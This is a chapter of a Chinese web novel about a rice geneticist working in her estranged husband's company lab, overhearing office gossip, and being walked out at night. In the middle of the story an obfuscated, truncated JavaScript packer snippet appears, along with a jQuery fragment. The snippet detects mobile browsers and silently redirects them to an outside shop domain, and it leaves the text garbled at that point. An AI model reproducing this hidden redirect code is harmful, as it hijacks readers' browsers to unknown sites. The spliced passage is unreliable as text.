顾南梓第二天起床,她打开邮箱,看到了下面杰森发给她的数据报告,末端处还附了一句慰问:希望你早日康复。
顾南梓例行公事:谢谢。
随后不再看邮件。
乔的礼物已经寄了出去,她还附上了自己的联系方式,让他以后需要她帮忙之类的,可以找到她。
荆在办事很妥当,把霍布斯太太整理的往年数据记录,水土样本,一并都带了回来。
顾南梓在病床上刚醒来的时候,担忧完乔就开始担忧自己的实验进度,想着要是真的功亏一篑,就在京城找个与她相熟的教授借用一下实验室,看看还有没有其他方向可以探索。
好在荆在说他可以提供一些帮助,至少解决了部分燃眉之急。
顾南梓到达了荆氏公司门口,顺利地在前台的帮助下,到达了公司内部。
她一开始还以为像这种做食品检测的实验室应该会找个荒无人烟的工厂进行测试,结果位置居然就在办公大楼的五层。
拿着荆在给的钥匙打开实验室,她本以为会看到满是灰尘的房间,结果室内窗明几净,虽然可以看出闲置过几年,但显然刚刚做过了卫生。
柜子里摆放的器械基本是实验室常用的款式,而且可能是因为不知道她的具体需求,还购买了一些连她自己都少见的器具,可见其用心程度。
顾南梓说干就干,她很快便进入了工作状态。
简单来说,普通水稻在遇到恶劣的环境情况时,总是会开启“自动保护模式”,植物为了保护自己的生命会尽可能储存营养和水分,在这种自身难保的情况下,更不可能产粮。
她查到的国内最前沿的科研成果——旱优82,就是是通过杂交育种筛选出来的。
它的亲本经历过反复干旱筛选,后代在遗传层面获得了一种“记忆”,对干旱的反应速度比普通水稻更快。
但从本质上来说,还是在保产。
但顾南梓的想法却比较特别。
她之前看到这个课题的时候,她提出过一个理论——植物也是生命,那它会不会像动物一样,在察觉到致命危机的时候,为了繁衍后代,保留基因,反而增产?
她当时心血来潮,查了很多资料,但这种事几乎是办不到的,植物的运作机制和基因决定了它们不可能在极端天气的情况下,不仅不减产,反而增长。
因此,这个项目就算在顾南梓本人看来,也觉得异想天开。
不过岁月轮转,她的想法也发生了变化。
——万一呢?
如果一点难度都没有,就不叫挑战了吧?
顾南梓将从霍布斯太太那打包来的稻谷挨个拆分,去掉失水发黄的部分,还有很多能用。
风干稻穗,冷冻叶片,将土壤风干过筛后装袋标记。脱粒后分装谷粒、颖壳和茎叶,进一步测试这种稻谷的反常点究竟是“穗粒数多”还是“千粒重大”。
一种稻谷,谷粒数量和大小往往两者不可兼得,量上去了,质必然会下去,反之亦然。
而她得到的这种反常稻谷,必然是量特别多或者质特别高,不然根本不可能达到这种反自然高收成的情况。
顾南梓光是把稻谷拆解分类就花了两三个小时,更别说挨个儿放入机器进行检测。一遍又一遍重复单调的实验,但她凭借高度集中的注意力一直谨慎认真地记录数据。
直到手机震动,她才从自己的思绪中回过神来。
她看到消息提醒——是荆在。
荆在:中午了,你如果还没决定好吃什么,可以去公司食堂。
gnz:哦哦,在哪啊?
荆在:三楼,你坐电梯下去就行。
荆在:怎么还没吃饭?
顾南梓听着他的语气,感觉异常的熟悉:额……现在才十二点半,还好吧?
荆在:食堂下午一点之后就不供饭了。
gnz:那我吃泡面?
荆在:对身体不好。
她当然知道。
顾南梓终于发现这种熟悉感来自哪了。
这种天天盯着她吃饭休息的语气,不就是符蕊平时做的嘛!
现在符蕊去上班没空管她了,反而轮到荆在管了,什么世道……
虽然顾南梓醉心学术,但也知道自己要是这样,再过一会儿就会胃痛,所以老老实实去吃饭了。
不过毕竟都是成年人了,又不像高中生那样要回去午休点名,这个时间去吃饭的人也不在少数。
顾南梓一身白衬衫黑西裤,鼻梁上的眼镜还没摘下来,整个人看上去冷冷淡淡的,在一众社畜中多了点学术气息。
不过今天是周一,上了一上午的班,根本没人在意这个看上去有些眼熟的新人,连吃饭都有气无力,更别说犯花痴。
顾南梓打了菜,找了个地方坐下。她没吃两口,就听到隔着一个过道的两个人在八卦。
那两个人的声音不算大,但刚好顾南梓够听清。
小刘跟小程吐槽:“谢天谢地,荆总终于放过公关部了,我们也是熬出头了。”
小程点头:“嗯,最近舆论情势大好,对方收敛了不少。而且荆总好像也有了点方向,最近技术组加班加得特别狠。”
顾南梓吃了一口酸辣鱼片,她漫不经心地想,她最近忙得晕头转向,都忘记自己和他结婚的事了。
不错不错,看来荆在也有在为他们的离婚好好努力啊!
“欸,小程姐,我觉得吧……你说的好像是真的。”小刘跟小程闲聊,“众所周知,顾小姐是个搞科研的吧?前两天,荆总突然大费周章地找了人去清理检测室。”
“嗯?是吗?”小程平时很少会到那层楼去晃悠,不知道这事。但她在公司待了几年了,也知道一些往事,“那里好像因为电路老化,加上食品领域收效不理想,所以干脆就闲置着了。”
“是啊,但是一个月前突然翻新,上上下下全重新装修了一遍。”小刘说,“我听朋友说,还运了好多设备进来,但又不是给我们用的。”
小程摇头:“真是一语成谶,荆总这心思也太明显了。”
顾南梓默默侧过耳朵。
虽然她并不喜欢被别人编排她和荆在的关系,但从荆在的员工那里听八卦还是挺有意思的。
她就是纯好奇,在别人的想法里,她和荆在到底看上去怎么样。
而隔壁这两位的猜想还特别有意思,什么为爱千里追妻,跨洋手撕小三,承包整个实验室,金屋藏娇不让别人看到一点……
“咳!”顾南梓正在喝汤,听到最后一句呛了个正着。
她不由得感叹,还得是人民会编啊。
就荆在那根木头,要是真和哪个女生在一起,三个月能不能牵上手都不一定,还金屋藏娇……
顾南梓摇了摇头,她饭吃得差不多,端起碗筷便打算起身离开。
这时,小刘放在桌上的工牌不小心被他碰掉在地上,刚好摔在走道中间,“啊!”
他扭头就要去捡,不想下一秒却抢先被人捡起。
那是一只纤细白皙的手,顾南梓将工牌递给小刘,而后者则愣愣地看着她。
顾南梓笑了笑,唇边梨涡显得她很温和:“给你。”
小刘结结巴巴地接过去,“谢、谢谢……”
顾南梓:“没事。”说完她就离开了,完全猜不到她到底将刚才的话听到了多少。
小刘一副天塌了的表情:“小、小程姐,她是不是……是不是就是那个……”
小程也是一脸复杂:“嗯……相信你自己,就是顾小姐。”
两人饭吃得差不多,小刘收餐盘走人,一脸生无可恋,“谁能想到……这居然是我在荆氏吃的最后一顿饭……我的工资啊,你还回来吗?”
小程拍了拍他,没什么说服力地安慰他:“算了算了,应该没事啦,她看着……人挺温柔的。”
小刘扭头看她:“你忘了她那几条热搜了吗?”
小程不说话了,两个打工人命苦地回去当牛马了。
顾南梓倒是没放心上,她更在意自己的实验。
在回到实验室继续计算之后,她得到了一个很玄妙的结果。
米粒的重量比率很高,但穗粒的数量比率更高。
这意味着它同时打破了穗粒数和千粒重的负相关,如果能找到导致这个结果的关键调控位点,再把它导入现有的优质水稻,产量就能达到一个新的飞升。
顾南梓带着兴奋的心情继续研究,但越研究,反而越发现这种设想有多么异想天开。
基因是ATCG的庞大的排列组合,而且“增产”和“抗旱”背后的基因并不只是简单的一条DNA链就能决定,而是各自由二十多条决定,这种反常的稻谷的基因片段更是难以捉摸,不可能轻轻松松地找出这段基因片段还进行移植。
顾南梓猜测,这也是为什么几年前的科学家会望而却步。
这种基因寻找的方式所要耗费的人力实在太庞大,前途看上去也很渺茫,单单是基因排列组合的中间流程就太过复杂,根本难以研究透彻。
得出这个结论,顾南梓像是泄了气的皮球,她一下子瘫倒在工学椅上,看着密密麻麻的数据和基因模型图,非常头疼,“……这是要怎么搞啊?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801864|209877||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>几年前的科学家有比她更权威的履历,更高级的机器,但就连他们也没算出来基因的连接方式,她又怎么可能?
目前手头唯二能用的,就是杰森的DNA甲基化数据和霍布斯太太给的往年量产记录。
要么从内部寻找那些被甲基化标记改变了表达状态的基因,要么从外部调查到底是什么条件诱使这种水稻产生了“抗旱高产”的基因开关。
这是摆在她面前的两条路,但没有一条是好走的。
顾南梓不负责地在心里估算两个途径的可行性,前者是12%,后者是11%,而她研究无果,破防后把实验室砸了的可行性是99.999%。
话虽如此,但顾南梓还是认命地继续做实验切片,将水和土拿去验了成分,然后去查“如何提高寻找基因片段的效率”的相关论文,想在里面找找灵感。
同时在她勉强筛出一些可能性之后,她还需要做转录组测序和QTL定位——说人话,前者就是看看在特定条件下,有哪些RNA被转录激活,后者就是找控制性状的染色体区域。
顾南梓一个人从下午待到晚上九点,中间就出去泡了杯咖啡,买了两包辣条。
外卖也是直接送到她实验室门口,她是在外卖送达半个小时之后,感到饥饿才想起来外卖到了,忙不迭解决了晚饭。
另一边,荆在其实担心了顾南梓一整天。
尤其是中午他提醒她之后,她才去吃午饭,这让荆在对于符蕊话的可信度提高不少。
如果不看着顾南梓,她真的会把自己照顾得很差很差。
终于等到了下班时间,但荆在这才发现,顾南梓工作起来,比他下班还晚。他这时也不由得怀念他和顾南梓结婚的这一年里,顾南梓居然能每天等他下班。
他乘坐总裁专用电梯到达了五层,打算让顾南梓强制下班。
他敲了敲实验室的门,听到里面传来一声“进”,他才推门进去。
顾南梓盯着眼前的电脑目不转睛,旁边堆了两摞厚厚的资料,不远处的台子上已经浸泡了不少植物样本,垃圾桶里已经丢了半桶纸团,纸笔丢得满桌都是,白色的草稿纸上写满了看不懂的公式和字符。
水杯里的咖啡还剩个底没喝完,她的眼神冷淡厌烦,嘴里叼着一根白色的棍状物,明眼人一下就能看出她的实验进行得并不顺利,甚至能说遇到了瓶颈。
荆在想也没想,直接过去掐住了她嘴里叼着的东西。
“……?”
顾南梓没想到他会来这么一出,下意识松嘴,被含化得只剩一点的糖被抽出,从颜色上看得出是葡萄味的。
从这个视角,荆在看到她微微皱起的眉,冷感未消却带着疑惑的眼,还有只出现了一瞬的粉色舌头。
荆在喉结上下一滚,说话时语气带着微不可察的哑意:“抱歉,我以为你在抽烟。”
顾南梓前科累累,干过太多有损自己健康的事,荆在不得不防。
顾南梓已经被工作折磨得脑袋昏沉,听荆在解释之后,就淡淡地张嘴将棒棒糖咬了回来,随着“咔哒咔哒”两声,糖被她咬碎,白色的小糖棍被她丢进垃圾桶,“哦。”
她起身活动了一下筋骨,“等我下班吗?你等一下,我收拾完东西就走。”
荆在不知道在想什么,也没回答她的话,顾南梓现在也确实是累极了,没有在意他的反应。
两人并肩走出实验室,荆在主动提议:“我送你?”
顾南梓懒声回答:“谢了,但我开车来了,就不麻烦你了。”
顾南梓将眼镜留在了实验室,由于戴的时间过久,她山根那块被压出了两个小凹痕。
荆在看了一会儿,没来由联想到了她笑起来时的两个梨涡,这些特质很可爱。
而他也在好奇,她身上的其他地方有没有更多像是这样的小特质。
两人快走到停车场,荆在又开口:“好好休息,尽量不要抽烟。”
“哦……”顾南梓想到什么,补充了一句:“其实跟你结婚这一年,已经差不多戒了。”
“……是吗?”
荆在有些感慨。
他没想到她会用这么稀松平常的语气提到他们的婚姻,虽然明知她不在意,但荆在还是不可避免地心情不太好。
顾南梓平时很少自己开车,她住的公寓离京大很近,走个十几分钟的路就过去了,懒得开车。
以至于她父母十八岁送她的这辆劳斯莱斯,放在车库落了很久的灰,今天才被她正式启用。
顾南梓上了车,她看着荆在,倏然一笑:“晚安,荆先生。”
“……晚安。”